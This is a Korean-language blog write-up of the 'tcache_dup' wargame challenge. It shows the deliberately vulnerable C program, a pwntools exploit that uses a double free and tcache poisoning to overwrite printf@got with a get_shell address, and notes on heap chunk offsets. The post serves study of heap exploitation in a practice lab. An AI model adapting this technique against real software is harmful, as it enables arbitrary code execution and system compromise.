tcache_dup

ripemo·2025년 2월 1일

문제분석

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}
  • double free 가 발생한다면 tcache poisoning을 통해 특정 got를 get_sehll 주소롤 덮어씌움

exploit

from pwn import *
import sys

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote("host1.dreamhack.games", 22915)

else:
    p = process("./tcache_dup",env={"LD_PRELOAD": "./libc-2.27.so"})
    
e = ELF("./tcache_dup",checksec=False)
printf_got = e.got["printf"]
get_shell = e.symbols["get_shell"]

pause()

p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ","aa")

p.sendlineafter("> ","2")
p.sendlineafter(": ","0")
p.sendlineafter("> ","2")
p.sendlineafter(": ","0")

p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ",p64(printf_got))

p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ","aa")
p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ",p64(get_shell))

p.interactive()
  • 출력함수로 printf를 사용하므로 printf@got를 overwrite
  • 첫 번째로 20크기의 청크를 할당한 후에 해당 청크를 두번 free 해줌으로써 double free 발생
  • 같은 크기의 청크를 재할당하면서 freelist에 있는 fd에 printf@got 주소를 overwrite
  • 같은 크기를 한번 더 할당하면 freelist는 비어있게 됨
  • 여기서 한 번 더 할당한다면 fd에 적힌 printf@got 주소로 힙 청크 할당
  • 그 후 해당 주소에 get_shell 주소 overwrite

의문점

  • 예전에 공부할 때는 청크를 마지막으로 할당할 때(get_shell을 overwrite 할 때) 덮어쓸 주소에 -16을 해야된다고 공부했다.
  • 그 이유는 할당된 힙 청크의 경우 prev_size(8bytes), size(8bytes), data 순서이기 때문에 할당받는 주소의 기준이 prev_size의 출발 부분이라고 생각했다. 따라서 printf@got의 주소로 할당받는다면 printf@got+16 주소에 overwrite 되기 때문에 printf@got-16 주소에 할당받아야 된다고 생각했다.
  • 하지만 실제로 데이터를 쓰는 부분은 할당받는 주소였기 때문에 -16 할 필요 없이 그 주소를 사용하면 된다.(c코드 예제에서 배열 인덱스로 overwrite 하는 것으로 공부해서 달랐던 것 같다.)
profile
hackyFrog

0개의 댓글